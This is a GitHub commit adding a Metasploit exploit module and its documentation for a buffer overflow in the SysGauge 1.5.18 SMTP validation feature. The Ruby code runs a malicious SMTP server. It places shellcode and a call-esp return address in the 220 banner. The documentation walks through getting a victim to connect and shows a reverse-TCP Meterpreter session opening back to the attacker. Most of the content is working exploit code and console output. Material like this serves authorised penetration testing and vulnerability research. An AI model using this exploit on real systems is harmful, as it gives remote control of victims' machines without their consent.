Skip to content

Commit cc4f18e

Browse files
committed
Add sysgauge_client_bof module and documentation
1 parent e96013c commit cc4f18e

File tree

2 files changed

+126
-0
lines changed

2 files changed

+126
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
## Vulnerable Application
2+
3+
This module will setup a SMTP server expecting a connection from SysGauge 1.5.18
4+
via its SMTP server validation. The module sends a malicious response along in the
5+
220 service ready response and exploits the client resulting in an unpriviledged shell.
6+
7+
## Verification Steps
8+
9+
1. Install the application
10+
2. Start msfconsole
11+
3. Do: ```use exploit/windows/smtp/sysgauge_client_bof```
12+
4. Do: ```set payload windows/meterpreter/reverse_tcp```
13+
5. Do: ```set LHOST ip```
14+
6. Do: ```run```
15+
7. The user should put your `SRVHOST` or other applicable IP address in the SMTP configuration
16+
in the program, and hit the "Verify Email ..." button.
17+
8. You should get a shell.
18+
19+
## Scenarios
20+
21+
Here is how to typically execute the module. Note that the client must input this SMTP server
22+
information under SysGauge Options and hit the "Verify Email ..." button.
23+
24+
```
25+
msf > use exploit/windows/smtp/sysgauge_client_bof
26+
msf exploit(sysgauge_client_bof) > set payload windows/meterpreter/reverse_tcp
27+
payload => windows/meterpreter/reverse_tcp
28+
msf exploit(sysgauge_client_bof) > set lhost 10.0.0.1
29+
lhost => 10.0.0.1
30+
msf exploit(sysgauge_client_bof) > exploit
31+
[*] Exploit running as background job.
32+
msf exploit(sysgauge_client_bof) >
33+
[*] Started reverse TCP handler on 10.0.0.1:4444
34+
[*] Server started.
35+
[*] Client connected: 10.0.0.128
36+
[*] Sending payload...
37+
[*] Sending stage (957487 bytes) to 10.0.0.128
38+
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.128:49165) at 2017-03-14 23:15:04 -0500
39+
```
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
#
5+
# Fuzzer written by corelanc0d3r - <peter.ve [at] corelan.be>
6+
# http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/
7+
#
8+
##
9+
10+
11+
require 'msf/core'
12+
13+
class MetasploitModule < Msf::Exploit::Remote
14+
include Msf::Exploit::Remote::TcpServer
15+
16+
def initialize()
17+
super(
18+
'Name' => 'SysGauge SMTP Validation Buffer Overflow',
19+
'Description' => %q{
20+
This module will setup a SMTP server expecting a connection from SysGauge 1.5.18
21+
via its SMTP server validation. The module sends a malicious response along in the
22+
220 service ready response and exploits the client resulting in an unpriviledged shell.
23+
},
24+
'Author' =>
25+
[
26+
'Chris Higgins', # msf Module -- @ch1gg1ns
27+
'Peter Baris'
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'EDB', '41479' ],
33+
],
34+
'DefaultOptions' =>
35+
{
36+
'EXITFUNC' => 'thread'
37+
},
38+
'Payload' =>
39+
{
40+
'Space' => 306,
41+
'Smallest' => true,
42+
'BadChars' => "\x00\x0a\x0d\x20"
43+
},
44+
'Platform' => 'win',
45+
'Targets' =>
46+
[
47+
[ 'Windows Universal',
48+
{
49+
'Offset' => 176,
50+
'Ret' => 0x6527635E # call esp # QtGui4.dll
51+
}
52+
]
53+
],
54+
'Privileged' => 'false',
55+
'DisclosureDate' => 'Feb 28 2017',
56+
'DefaultTarget' => 0
57+
)
58+
register_options(
59+
[
60+
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
61+
], self.class)
62+
end
63+
64+
def setup
65+
super
66+
end
67+
68+
def on_client_connect(c)
69+
sploit = "220 "
70+
sploit += rand_text(target['Offset'])
71+
# Can only use the last part starting from 232 bytes in
72+
sploit += payload.encoded[232..-1]
73+
sploit += rand_text(2)
74+
sploit += [target.ret].pack('V')
75+
sploit += rand_text(12)
76+
sploit += make_nops(8)
77+
# And the first part up to 232 bytes
78+
sploit += payload.encoded[0..231]
79+
sploit += "ESMTP Sendmail \r\n"
80+
81+
print_status("Client connected: " + c.peerhost)
82+
print_status("Sending payload...")
83+
84+
c.put(sploit)
85+
end
86+
87+
end

0 commit comments

Comments
 (0)